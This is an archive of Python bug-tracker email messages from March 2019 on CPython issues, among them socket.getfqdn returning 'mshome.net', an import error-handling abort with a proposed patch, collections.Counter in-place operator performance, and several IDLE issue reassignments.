Subject: [issue36382] socket.getfqdn() returns domain "mshome.net"
In-Reply-To: <1553089250.0.0.713601521927.issue36382@roundup.psfhosted.org>
Message-ID: <1553094279.04.0.0781620355403.issue36382@roundup.psfhosted.org>


Steve Dower <steve.dower at python.org> added the comment:

We just return the result of GetComputerNameEx [1] here - we don't use WMI at all (and given the complexities, we are not going to start).

Are you able to provide any more information? In particular, if the documentation for GetComputerNameEx (below) helps you understand why these machines are different, that would be helpful to know.

Obviously (I hope) we can't diagnose a DHCP issue on your network, so claiming this is a bug in Python is likely premature.

[1]: https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getcomputernameexw

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36382>
_______________________________________

From report at bugs.python.org  Wed Mar 20 11:09:42 2019
From: report at bugs.python.org (Stefan Krah)
Date: Wed, 20 Mar 2019 15:09:42 +0000
Subject: [issue36370] "Fatal Python error: Cannot recover from stack overflow"
 from SymPy tests
In-Reply-To: <1553022103.99.0.827688349588.issue36370@roundup.psfhosted.org>
Message-ID: <1553094582.38.0.607211025334.issue36370@roundup.psfhosted.org>


Stefan Krah <stefan at bytereef.org> added the comment:

The tests pass here on Linux with 3.8 (cc60cdd9c4) and a very low sys.setrecursionlimit(150).

The fail properly with RecursionError at sys.setrecursionlimit(125).


So I guess we'd need a gdb stack trace from OS X in case there's a CPython issue that is OS X specific.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36370>
_______________________________________

From report at bugs.python.org  Wed Mar 20 11:13:22 2019
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 20 Mar 2019 15:13:22 +0000
Subject: [issue36381] Deprecate "#" argument format without PY_SSIZE_T_CLEAN
In-Reply-To: <1553086735.98.0.572102107616.issue36381@roundup.psfhosted.org>
Message-ID: <1553094802.31.0.134695049842.issue36381@roundup.psfhosted.org>


Change by STINNER Victor <vstinner at redhat.com>:


----------
title: Preapre for mandatory PY_SSIZE_T_CLEAN -> Deprecate "#" argument format without PY_SSIZE_T_CLEAN

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36381>
_______________________________________

From report at bugs.python.org  Wed Mar 20 11:14:33 2019
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 20 Mar 2019 15:14:33 +0000
Subject: [issue8677] Modules needing PY_SSIZE_T_CLEAN
In-Reply-To: <1273521580.77.0.503810144474.issue8677@psf.upfronthosting.co.za>
Message-ID: <1553094873.34.0.707485943786.issue8677@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

> Let's close this long living issue.

Thanks INADA-san for fixing last issues and for creating the deprecation issue!

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue8677>
_______________________________________

From report at bugs.python.org  Wed Mar 20 11:20:02 2019
From: report at bugs.python.org (Josh Rosenberg)
Date: Wed, 20 Mar 2019 15:20:02 +0000
Subject: [issue36379] nb_inplace_pow is always called with an invalid argument
In-Reply-To: <1553083293.5.0.811205671176.issue36379@roundup.psfhosted.org>
Message-ID: <1553095202.88.0.329621104609.issue36379@roundup.psfhosted.org>


Josh Rosenberg <shadowranger+python at gmail.com> added the comment:

object.__ipow__ is documented to take an optional third argument (though there is no way to pass it aside from explicitly calling __ipow__ directly since there is no syntax support for three-arg pow, in place or otherwise), so it's not some incompatibility with object.__ipow__'s signature.

How are you seeing garbage passed? In the CPython C code base, I only see PyNumber_InPlacePower called in two places; ceval.c (to handle **=, which only handles two operands) and _operator.c (to implement operator.__ipow__, which unlike object.__ipow__, only takes two arguments, not three). In both cases, the third argument is explicitly passed in as Py_None.

PyNumber_InPlacePower itself then passes along that third argument to ternary_op as its third argument, and every code path that calls the retrieved slot consistently passes that argument along as the third argument to the slotted ternaryfunc.

I suppose an extension module might incorrectly call PyNumber_InPlacePower without passing the third argument, but that's a problem on their end (and should be caught by the compiler unless all diagnostics are suppressed).

But I'm not seeing the problem here. The code path is probably untested (given all numeric types in the CPython core are immutable, so none of them set nb_inplace_pow), but it looks correct at first glance. Do you have code that reproduces the error?

----------
nosy: +josh.r

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36379>
_______________________________________

From report at bugs.python.org  Wed Mar 20 11:21:41 2019
From: report at bugs.python.org (Markus)
Date: Wed, 20 Mar 2019 15:21:41 +0000
Subject: [issue36382] socket.getfqdn() returns domain "mshome.net"
In-Reply-To: <1553089250.0.0.713601521927.issue36382@roundup.psfhosted.org>
Message-ID: <1553095301.44.0.712284481394.issue36382@roundup.psfhosted.org>


Markus <markus.kramer at posteo.de> added the comment:

Dear Steve,
in fact not a Python bug at all.

I used 2 commands: 
  ipconfig /release
  ipconfig /renew
and rebootet.

This fixed the issue, for now.

Also, I found this domain in c:\Windows\System32\drivers\etc\hosts.ics

Unclear who created that entry.


Documenting this here could help others with the same problem.

Closing this issue.

----------
resolution:  -> not a bug
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36382>
_______________________________________

From report at bugs.python.org  Wed Mar 20 11:26:10 2019
From: report at bugs.python.org (Stefan Krah)
Date: Wed, 20 Mar 2019 15:26:10 +0000
Subject: [issue36370] "Fatal Python error: Cannot recover from stack overflow"
 from SymPy tests
In-Reply-To: <1553022103.99.0.827688349588.issue36370@roundup.psfhosted.org>
Message-ID: <1553095570.2.0.534207356167.issue36370@roundup.psfhosted.org>


Stefan Krah <stefan at bytereef.org> added the comment:

Whoops, I tested the wrong branch, getting a proper abort() now. :)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36370>
_______________________________________

From report at bugs.python.org  Wed Mar 20 11:32:41 2019
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 20 Mar 2019 15:32:41 +0000
Subject: [issue36301] Add _Py_PreInitialize() function
In-Reply-To: <1552652968.58.0.444379921918.issue36301@roundup.psfhosted.org>
Message-ID: <1553095961.34.0.427301322893.issue36301@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

In term of API, we get something like:

    _PyInitError err;

    _PyPreConfig preconfig = _PyPreConfig_INIT;
    preconfig.utf8_mode = 1;
    preconfig.allocator = "malloc";

    _PyInitError err = _Py_PreInitializeFromPreConfig(&preconfig);
    if (_Py_INIT_FAILED(err)) {
        _Py_ExitInitError(err);
    }

    /* PyMem_RawMalloc and Py_DecodeLocale can now be used */

    _PyCoreConfig config = _PyCoreConfig_INIT;
    config.user_site_directory = 0;

    err = _Py_InitializeFromConfig(&config);
    if (_Py_INIT_FAILED(err)) {
        _Py_ExitInitError(err);
    }

    /* ... use Python ... */

    Py_Finalize();

    /* Note: no need to "free" preconfig nor config memory, they use constants */

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36301>
_______________________________________

From report at bugs.python.org  Wed Mar 20 11:41:40 2019
From: report at bugs.python.org (Ned Deily)
Date: Wed, 20 Mar 2019 15:41:40 +0000
Subject: [issue35564] [DOC] Sphinx 2.0 will require master_doc variable set in
 conf.py
In-Reply-To: <1545514198.61.0.0770528567349.issue35564@roundup.psfhosted.org>
Message-ID: <1553096500.01.0.530418706932.issue35564@roundup.psfhosted.org>


Ned Deily <nad at python.org> added the comment:


New changeset 4508bc37dd80c71adfaa0925a67c438389817076 by Ned Deily (Julien Palard) in branch '3.6':
[3.6] bpo-35564: add master_doc='contents' to conf.py (GH-11290). (GH-12461)
https://github.com/python/cpython/commit/4508bc37dd80c71adfaa0925a67c438389817076


----------
nosy: +ned.deily

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35564>
_______________________________________

From report at bugs.python.org  Wed Mar 20 11:44:32 2019
From: report at bugs.python.org (Raymond Hettinger)
Date: Wed, 20 Mar 2019 15:44:32 +0000
Subject: [issue36380] collections.Counter in-place operators are unexpectedly
 slow
In-Reply-To: <1553084006.71.0.725416830974.issue36380@roundup.psfhosted.org>
Message-ID: <1553096672.85.0.148212165431.issue36380@roundup.psfhosted.org>


Change by Raymond Hettinger <raymond.hettinger at gmail.com>:


----------
assignee:  -> rhettinger

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36380>
_______________________________________

From report at bugs.python.org  Wed Mar 20 11:50:05 2019
From: report at bugs.python.org (Raymond Hettinger)
Date: Wed, 20 Mar 2019 15:50:05 +0000
Subject: [issue36380] collections.Counter in-place operators are unexpectedly
 slow
In-Reply-To: <1553084006.71.0.725416830974.issue36380@roundup.psfhosted.org>
Message-ID: <1553097005.62.0.118411162043.issue36380@roundup.psfhosted.org>


Raymond Hettinger <raymond.hettinger at gmail.com> added the comment:

As Josh pointed out, this is how counters are documented and tested to work, so it is an unchangeable decision (i.e. it would break code that relying on the saturating arithmetic feature).  Accordingly, I'm marking this as closed, not a bug.

On the plus side (no pun intended), a counter is just a kind of dictionary so you can easily implement your own behaviors with just a simple for-loop:

   for x in a:
       b[a] += a

----------
resolution:  -> not a bug
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36380>
_______________________________________

From report at bugs.python.org  Wed Mar 20 11:50:44 2019
From: report at bugs.python.org (Terry J. Reedy)
Date: Wed, 20 Mar 2019 15:50:44 +0000
Subject: [issue21960] Better path handling in Idle find in files
In-Reply-To: <1405105832.92.0.37541050814.issue21960@psf.upfronthosting.co.za>
Message-ID: <1553097044.86.0.697536984634.issue21960@roundup.psfhosted.org>


Change by Terry J. Reedy <tjreedy at udel.edu>:


----------
assignee:  -> terry.reedy
components: +IDLE

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue21960>
_______________________________________

From report at bugs.python.org  Wed Mar 20 11:53:09 2019
From: report at bugs.python.org (Markus)
Date: Wed, 20 Mar 2019 15:53:09 +0000
Subject: [issue36382] socket.getfqdn() returns domain "mshome.net"
In-Reply-To: <1553089250.0.0.713601521927.issue36382@roundup.psfhosted.org>
Message-ID: <1553097189.9.0.352393246817.issue36382@roundup.psfhosted.org>


Markus <markus.kramer at posteo.de> added the comment:

I found the IP of mshome.net in an Ethernet adapter "vEthernet"
It seems that this adapter stems from Hyper-V.


It therefore seems that socket.getfqdn() reported the wrong network adapter once.

Because I cannot reproduce this, I leave this issue closed.

----------
resolution: not a bug -> works for me

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36382>
_______________________________________

From report at bugs.python.org  Wed Mar 20 11:57:51 2019
From: report at bugs.python.org (Antoine Pitrou)
Date: Wed, 20 Mar 2019 15:57:51 +0000
Subject: [issue36368] server process of shared_memory shuts down if
 KeyboardInterrupt
In-Reply-To: <1553013481.49.0.145631506322.issue36368@roundup.psfhosted.org>
Message-ID: <1553097471.22.0.45706156108.issue36368@roundup.psfhosted.org>


Antoine Pitrou <pitrou at free.fr> added the comment:

Your patch sounds good on the principle, but can you make a patch out of it?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36368>
_______________________________________

From report at bugs.python.org  Wed Mar 20 11:58:13 2019
From: report at bugs.python.org (Antoine Pitrou)
Date: Wed, 20 Mar 2019 15:58:13 +0000
Subject: [issue36368] server process of shared_memory shuts down if
 KeyboardInterrupt
In-Reply-To: <1553013481.49.0.145631506322.issue36368@roundup.psfhosted.org>
Message-ID: <1553097493.66.0.658208402923.issue36368@roundup.psfhosted.org>


Antoine Pitrou <pitrou at free.fr> added the comment:

Sorry - I meant make a *PR* out of it :-)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36368>
_______________________________________

From report at bugs.python.org  Wed Mar 20 12:03:41 2019
From: report at bugs.python.org (Stefan Krah)
Date: Wed, 20 Mar 2019 16:03:41 +0000
Subject: [issue36370] Check for PyErr_Occurred() after PyImport_GetModule().
In-Reply-To: <1553022103.99.0.827688349588.issue36370@roundup.psfhosted.org>
Message-ID: <1553097821.06.0.891456717964.issue36370@roundup.psfhosted.org>


Stefan Krah <stefan at bytereef.org> added the comment:

The issue is that PyImport_GetModule() can legitimately NULL (not found)
but also NULL after an error occurred in PyDict_GetItemWithError().

So one (quick and dirty) approach that fixes this abort() is:

diff --git a/Python/import.c b/Python/import.c
index bf3a99414f..22eecd7cd6 100644
--- a/Python/import.c
+++ b/Python/import.c
@@ -1735,7 +1735,10 @@ PyImport_ImportModuleLevelObject(PyObject *name, PyObject *globals,
     }
 
     mod = PyImport_GetModule(abs_name);
-    if (mod != NULL && mod != Py_None) {
+    if (mod == NULL && PyErr_Occurred()) {
+        goto error;
+    }
+    else if (mod != NULL && mod != Py_None) {
         _Py_IDENTIFIER(__spec__);
         _Py_IDENTIFIER(_lock_unlock_module);
         PyObject *spec;


cc Brett as the import expert, perhaps he would like another approach.

----------
nosy: +brett.cannon
title: "Fatal Python error: Cannot recover from stack overflow" from SymPy tests -> Check for PyErr_Occurred() after PyImport_GetModule().

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36370>
_______________________________________

From report at bugs.python.org  Wed Mar 20 12:09:15 2019
From: report at bugs.python.org (Stefan Krah)
Date: Wed, 20 Mar 2019 16:09:15 +0000
Subject: [issue36370] Check for PyErr_Occurred() after PyImport_GetModule().
In-Reply-To: <1553022103.99.0.827688349588.issue36370@roundup.psfhosted.org>
Message-ID: <1553098155.57.0.85952006418.issue36370@roundup.psfhosted.org>


Change by Stefan Krah <stefan at bytereef.org>:


----------
stage:  -> needs patch

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36370>
_______________________________________

From report at bugs.python.org  Wed Mar 20 12:10:33 2019
From: report at bugs.python.org (=?utf-8?q?R=C3=A9mi_Lapeyre?=)
Date: Wed, 20 Mar 2019 16:10:33 +0000
Subject: [issue36380] collections.Counter in-place operators are unexpectedly
 slow
In-Reply-To: <1553084006.71.0.725416830974.issue36380@roundup.psfhosted.org>
Message-ID: <1553098233.94.0.899430066779.issue36380@roundup.psfhosted.org>


R?mi Lapeyre <remi.lapeyre at henki.fr> added the comment:

Hi what do you think of a patch to this effect that would speed up operations without changing the current semantics?


diff --git a/Lib/collections/__init__.py b/Lib/collections/__init__.py
index cff75a48d6..fe5d5b2dca 100644
--- a/Lib/collections/__init__.py
+++ b/Lib/collections/__init__.py
@@ -561,6 +561,7 @@ class Counter(dict):
         if len(args) > 1:
             raise TypeError('expected at most 1 arguments, got %d' % len(args))
         super(Counter, self).__init__()
+        self._nonpositives = []
         self.update(*args, **kwds)
 
     def __missing__(self, key):
@@ -652,6 +653,12 @@ class Counter(dict):
                         self[elem] = count + self_get(elem, 0)
                 else:
                     super(Counter, self).update(iterable) # fast path when counter is empty
+                for elem, count in self.items():
+                    try:
+                        if not count > 0:
+                            self._nonpositives.append(elem)
+                    except TypeError:
+                        pass
             else:
                 _count_elements(self, iterable)
         if kwds:
@@ -818,9 +825,10 @@ class Counter(dict):
 
     def _keep_positive(self):
         '''Internal method to strip elements with a negative or zero count'''
-        nonpositive = [elem for elem, count in self.items() if not count > 0]
-        for elem in nonpositive:
-            del self[elem]
+        for elem in self._nonpositives:
+            if not self[elem] > 0:
+                del self[elem]
+        self._nonpositives.clear()
         return self
 
     def __iadd__(self, other):
@@ -833,7 +841,10 @@ class Counter(dict):
 
         '''
         for elem, count in other.items():
-            self[elem] += count
+            count = self[elem] + count
+            self[elem] = count
+            if not count > 0:
+                self._nonpositives.append(elem)
         return self._keep_positive()
 
     def __isub__(self, other):
@@ -846,7 +857,10 @@ class Counter(dict):
 
         '''
         for elem, count in other.items():
-            self[elem] -= count
+            count = self[elem] - count
+            self[elem] = count
+            if not count > 0:
+                del self[elem]
         return self._keep_positive()
 
     def __ior__(self, other):
@@ -858,10 +872,11 @@ class Counter(dict):
         Counter({'b': 3, 'c': 2, 'a': 1})
 
         '''
-        for elem, other_count in other.items():
-            count = self[elem]
-            if other_count > count:
-                self[elem] = other_count
+        for elem, count in other.items():
+            count = max(count, self[elem])
+            self[elem] = count
+            if not count > 0:
+                self._nonpositives.append(elem)
         return self._keep_positive()
 
     def __iand__(self, other):
@@ -874,9 +889,10 @@ class Counter(dict):
 
         '''
         for elem, count in self.items():
-            other_count = other[elem]
-            if other_count < count:
-                self[elem] = other_count
+            count = min(other[elem], count)
+            self[elem] = count
+            if not count > 0:
+                self._nonpositives.append(elem)
         return self._keep_positive()
 
 



It seems to give great improvements for the case Nikita Smetanin gave:

?  cpython git:(speed-up-Counter) ? ./python.exe tests.py
Setup took:  9.101021380999999
Computation took:  1.634299999864197e-05
?  cpython git:(speed-up-Counter) ? python3 tests.py
Setup took:  11.615437155
Computation took:  0.34183154800000004


Is there a performance test suite for Counter I could use to check this does not add regressions in some cases?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36380>
_______________________________________

From report at bugs.python.org  Wed Mar 20 12:15:49 2019
From: report at bugs.python.org (Raymond Hettinger)
Date: Wed, 20 Mar 2019 16:15:49 +0000
Subject: [issue36380] collections.Counter in-place operators are unexpectedly
 slow
In-Reply-To: <1553084006.71.0.725416830974.issue36380@roundup.psfhosted.org>
Message-ID: <1553098549.17.0.0305899708436.issue36380@roundup.psfhosted.org>


Raymond Hettinger <raymond.hettinger at gmail.com> added the comment:

I don't want to complexify the normal case.  Please don't go down the path of turning something simple into a mess.

Because counters are just a dict subclass, users are free to make updates in any way they want.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36380>
_______________________________________

From report at bugs.python.org  Wed Mar 20 12:34:36 2019
From: report at bugs.python.org (Terry J. Reedy)
Date: Wed, 20 Mar 2019 16:34:36 +0000
Subject: [issue21625] Make help() beginner helpful when no PAGER or LESS
 variable
In-Reply-To: <1401624278.41.0.968851571107.issue21625@psf.upfronthosting.co.za>
Message-ID: <1553099676.16.0.577940327147.issue21625@roundup.psfhosted.org>


Terry J. Reedy <tjreedy at udel.edu> added the comment:

I recently opened Python in a Mac Terminal (bash) window, tried help(ob), and being a beginner in this situation, had the same terrible frustrating experience.  I am leaving this open to implement David Murray's suggestion and changed the title accordingly.

On Windows, in Command Prompt and Power Shell, a prompt appears when help output is done and the text remains.  This is the same as when one enters any other Python statement that produces output.  (The only difference is the intermediate paging.)  I think that this standard Python behavior, or something close, should be the default help behavior on all systems.  (It is on IDLE.)

----------
nosy: +terry.reedy
stage:  -> needs patch
title: help()'s more-mode is frustrating -> Make help() beginner helpful when no PAGER or LESS variable
type:  -> enhancement

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue21625>
_______________________________________

From report at bugs.python.org  Wed Mar 20 12:35:11 2019
From: report at bugs.python.org (Terry J. Reedy)
Date: Wed, 20 Mar 2019 16:35:11 +0000
Subject: [issue35771] IDLE: Fix tooltip Hovertiptest failure
In-Reply-To: <1547794267.4.0.582455332849.issue35771@roundup.psfhosted.org>
Message-ID: <1553099711.4.0.0902589727786.issue35771@roundup.psfhosted.org>


Change by Terry J. Reedy <tjreedy at udel.edu>:


----------
assignee:  -> terry.reedy
components: +IDLE

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35771>
_______________________________________

From report at bugs.python.org  Wed Mar 20 12:36:18 2019
From: report at bugs.python.org (Terry J. Reedy)
Date: Wed, 20 Mar 2019 16:36:18 +0000
Subject: [issue35675] IDLE: Refactor config_key module.
In-Reply-To: <1546833365.65.0.740704370404.issue35675@roundup.psfhosted.org>
Message-ID: <1553099778.45.0.796553090508.issue35675@roundup.psfhosted.org>


Change by Terry J. Reedy <tjreedy at udel.edu>:


----------
assignee:  -> terry.reedy
components: +IDLE

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35675>
_______________________________________

From report at bugs.python.org  Wed Mar 20 12:37:01 2019
From: report at bugs.python.org (Terry J. Reedy)
Date: Wed, 20 Mar 2019 16:37:01 +0000
Subject: [issue35467] IDLE: unrequested pasting into Shell after restart
In-Reply-To: <1544581924.2.0.788709270274.issue35467@psf.upfronthosting.co.za>
Message-ID: <1553099821.47.0.899375260553.issue35467@roundup.psfhosted.org>


Change by Terry J. Reedy <tjreedy at udel.edu>:


----------
assignee:  -> terry.reedy
components: +IDLE

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35467>
_______________________________________

From report at bugs.python.org  Wed Mar 20 12:37:35 2019
From: report at bugs.python.org (Terry J. Reedy)
Date: Wed, 20 Mar 2019 16:37:35 +0000
Subject: [issue33964] IDLE maxosc.overrideRootMenu: remove unused menudict
In-Reply-To: <1529985716.89.0.56676864532.issue33964@psf.upfronthosting.co.za>
Message-ID: <1553099855.46.0.576541710549.issue33964@roundup.psfhosted.org>


Change by Terry J. Reedy <tjreedy at udel.edu>:


----------
assignee:  -> terry.reedy
components: +IDLE
versions:  -Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue33964>
_______________________________________

From report at bugs.python.org  Wed Mar 20 12:43:50 2019
From: report at bugs.python.org (Terry J. Reedy)
Date: Wed, 20 Mar 2019 16:43:50 +0000
Subject: [issue21696] Idle: test configuration files
In-Reply-To: <1402258295.62.0.994323894939.issue21696@psf.upfronthosting.co.za>
Message-ID: <1553100230.03.0.72393484453.issue21696@roundup.psfhosted.org>


Change by Terry J. Reedy <tjreedy at udel.edu>:


----------
components: +IDLE
versions: +Python 3.7, Python 3.8 -Python 2.7, Python 3.4, Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue21696>
_______________________________________

From report at bugs.python.org  Wed Mar 20 12:47:35 2019
From: report at bugs.python.org (Terry J. Reedy)
Date: Wed, 20 Mar 2019 16:47:35 +0000
Subject: [issue31329] Add idlelib module entry to doc
In-Reply-To: <1504293847.95.0.524257228924.issue31329@psf.upfronthosting.co.za>
Message-ID: <1553100455.04.0.941407964712.issue31329@roundup.psfhosted.org>


Change by Terry J. Reedy <tjreedy at udel.edu>:


----------
assignee:  -> terry.reedy
components: +IDLE
versions: +Python 3.8 -Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue31329>
_______________________________________

From report at bugs.python.org  Wed Mar 20 12:50:21 2019
From: report at bugs.python.org (Terry J. Reedy)
Date: Wed, 20 Mar 2019 16:50:21 +0000
Subject: [issue21588] Idle: make editor title bar user configurable
In-Reply-To: <1401167354.94.0.454935095166.issue21588@psf.upfronthosting.co.za>
Message-ID: <1553100621.07.0.766564867404.issue21588@roundup.psfhosted.org>


Change by Terry J. Reedy <tjreedy at udel.edu>:


----------
components: +IDLE
versions: +Python 3.7, Python 3.8 -Python 2.7, Python 3.4, Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue21588>
_______________________________________

From report at bugs.python.org  Wed Mar 20 12:52:08 2019
From: report at bugs.python.org (Terry J. Reedy)
Date: Wed, 20 Mar 2019 16:52:08 +0000
Subject: [issue21647] Idle unittests: make gui, mock switching easier.
In-Reply-To: <1401775120.92.0.367070549797.issue21647@psf.upfronthosting.co.za>
Message-ID: <1553100728.82.0.0983070777724.issue21647@roundup.psfhosted.org>


Change by Terry J. Reedy <tjreedy at udel.edu>:


----------
assignee:  -> terry.reedy
components: +IDLE
versions: +Python 3.7, Python 3.8 -Python 2.7, Python 3.4, Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue21647>
_______________________________________

From report at bugs.python.org  Wed Mar 20 12:53:48 2019
From: report at bugs.python.org (Mark Campanelli)
Date: Wed, 20 Mar 2019 16:53:48 +0000
Subject: [issue36383] In Windows 10 virtual environments
 distutils.sysconfig.get_python_inc() reports base Python include directory
Message-ID: <1553100828.16.0.35045767323.issue36383@roundup.psfhosted.org>


New submission from Mark Campanelli <campanelli at resonon.com>:

On Windows 10 64bit, using virtualenv in Python 2.7.15 or venv in Python 3.7.2, calling distutils.sysconfig.get_python_inc() returns the path to the include directory for the (respective) Python base installation instead of the include directory installed with the virtual environment. This happens regardless of the True/False value of the  plat_specific argument. I would expect the virtual environment's include directory to be returned.

----------
components: Distutils
messages: 338494
nosy: Mark Campanelli, dstufft, eric.araujo
priority: normal
severity: normal
status: open
title: In Windows 10 virtual environments distutils.sysconfig.get_python_inc() reports base Python include directory
type: behavior
versions: Python 2.7, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36383>
_______________________________________

From report at bugs.python.org  Wed Mar 20 12:55:28 2019
From: report at bugs.python.org (Brett Cannon)
Date: Wed, 20 Mar 2019 16:55:28 +0000
Subject: [issue36342] test_venv failure when executed by test_multiprocessing
 and the platform lacks a functional sem_open()
In-Reply-To: <1552903359.9.0.770761638832.issue36342@roundup.psfhosted.org>
Message-ID: <1553100928.3.0.633852999285.issue36342@roundup.psfhosted.org>


Brett Cannon <brett at python.org> added the comment:

I guess my confusion comes from the fact that test_venv in isolation is a totally fine test suite, it just fails when test_multiprocessing runs it due to something multiprocessing-related.

I've tried tweaking the title to reflect the fact that it's a test_venv failure triggered by test_multiprocessing.

----------
title: test_venv failure when the platform lacks a functional  sem_open() -> test_venv failure when executed by test_multiprocessing and the platform lacks a functional sem_open()

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36342>
_______________________________________

From report at bugs.python.org  Wed Mar 20 12:56:18 2019
From: report at bugs.python.org (Brett Cannon)
Date: Wed, 20 Mar 2019 16:56:18 +0000
Subject: [issue36370] Check for PyErr_Occurred() after PyImport_GetModule().
In-Reply-To: <1553022103.99.0.827688349588.issue36370@roundup.psfhosted.org>
Message-ID: <1553100978.12.0.386885394792.issue36370@roundup.psfhosted.org>


Brett Cannon <brett at python.org> added the comment:

Pulling in Eric and Nick as they have played w/ the C API more recently.

----------
nosy: +eric.snow, ncoghlan

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36370>
_______________________________________

From report at bugs.python.org  Wed Mar 20 13:08:33 2019
From: report at bugs.python.org (Terry J. Reedy)
Date: Wed, 20 Mar 2019 17:08:33 +0000
Subject: [issue31329] Add idlelib module entry to doc
In-Reply-To: <1504293847.95.0.524257228924.issue31329@psf.upfronthosting.co.za>
Message-ID: <1553101713.82.0.735581042324.issue31329@roundup.psfhosted.org>


Terry J. Reedy <tjreedy at udel.edu> added the comment:

See also #14944, about the Using doc.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue31329>
_______________________________________

From report at bugs.python.org  Wed Mar 20 13:10:35 2019
From: report at bugs.python.org (Stefan Krah)
Date: Wed, 20 Mar 2019 17:10:35 +0000
Subject: [issue36370] Check for PyErr_Occurred() after PyImport_GetModule().
In-Reply-To: <1553022103.99.0.827688349588.issue36370@roundup.psfhosted.org>
Message-ID: <1553101835.28.0.651097017695.issue36370@roundup.psfhosted.org>


Stefan Krah <stefan at bytereef.org> added the comment:

Actually I just see that this behavior of PyImport_GetModule() is documented:

"Return the already imported module with the given name. If the module has not been imported yet then returns NULL but does not set an error. Returns NULL and sets an error if the lookup failed."

New in version 3.7.


So it should indeed be just a matter of always checking for PyErr_Occurred().

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36370>
_______________________________________

From report at bugs.python.org  Wed Mar 20 13:15:04 2019
From: report at bugs.python.org (Terry J. Reedy)
Date: Wed, 20 Mar 2019 17:15:04 +0000
Subject: [issue14944] Setup & Usage documentation for pydoc, IDLE, & 2to3
In-Reply-To: <1338256058.02.0.10025521772.issue14944@psf.upfronthosting.co.za>
Message-ID: <1553102104.86.0.444577644688.issue14944@roundup.psfhosted.org>


Terry J. Reedy <tjreedy at udel.edu> added the comment:

idle.html, derived from idle.rst, is now the IDLE help file.

pip also has pip3 command; perhaps ensurepip should be mentioned.

----------
versions: +Python 3.8 -Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue14944>
_______________________________________

From report at bugs.python.org  Wed Mar 20 13:22:21 2019
From: report at bugs.python.org (Zuzu_Typ)
Date: Wed, 20 Mar 2019 17:22:21 +0000
Subject: [issue36379] nb_inplace_pow is always called with an invalid argument
In-Reply-To: <1553083293.5.0.811205671176.issue36379@roundup.psfhosted.org>
Message-ID: <1553102541.25.0.894475852347.issue36379@roundup.psfhosted.org>


Zuzu_Typ <zuzu.typ at gmail.com> added the comment:

Even though __ipow__ might be documented to take a third argument, if you build an inplace_pow function using the C-API, you can only pass one argument to it.

You can see that in the attached screenshot.

The example class shown in the screenshot can be found here: https://github.com/Zuzu-Typ/Python-C-API-extension-template

With the little template I wasn't able to reproduce the crash, but I did reassure myself that the third object is neither Py_None nor NULL, by adding "if (obj2 == Py_None || obj2 == NULL) return NULL;" before line 469 in "template.c", because calling __ipow__ still returned an example_class instance, instead of an error message, as it should if it returned NULL.

----------
Added file: https://bugs.python.org/file48225/Doesn't Work.png

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36379>
_______________________________________

From report at bugs.python.org  Wed Mar 20 13:28:38 2019
From: report at bugs.python.org (Hugh Redelmeier)
Date: Wed, 20 Mar 2019 17:28:38 +0000
Subject: [issue35866] concurrent.futures deadlock
In-Reply-To: <1548929111.09.0.517798780255.issue35866@roundup.psfhosted.org>
Message-ID: <1553102918.4.0.971466054029.issue35866@roundup.psfhosted.org>


Hugh Redelmeier <hugh at mimosa.com> added the comment:

@jwilk: thanks for creating cf-deadlock.py

I can replicate the test program hang on Fedora 29 with python3-3.7.2-4.fc29.x86_64

The test program hasn't yet hung on Fedora 29 with older packages, in particular 
python3-3.7.1-4.fc29.x86_64

My interest is due to the fact that the libreswan.org test suite has started to hang and we don't know why.  It might well be this bug.

----------
nosy: +hugh

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35866>
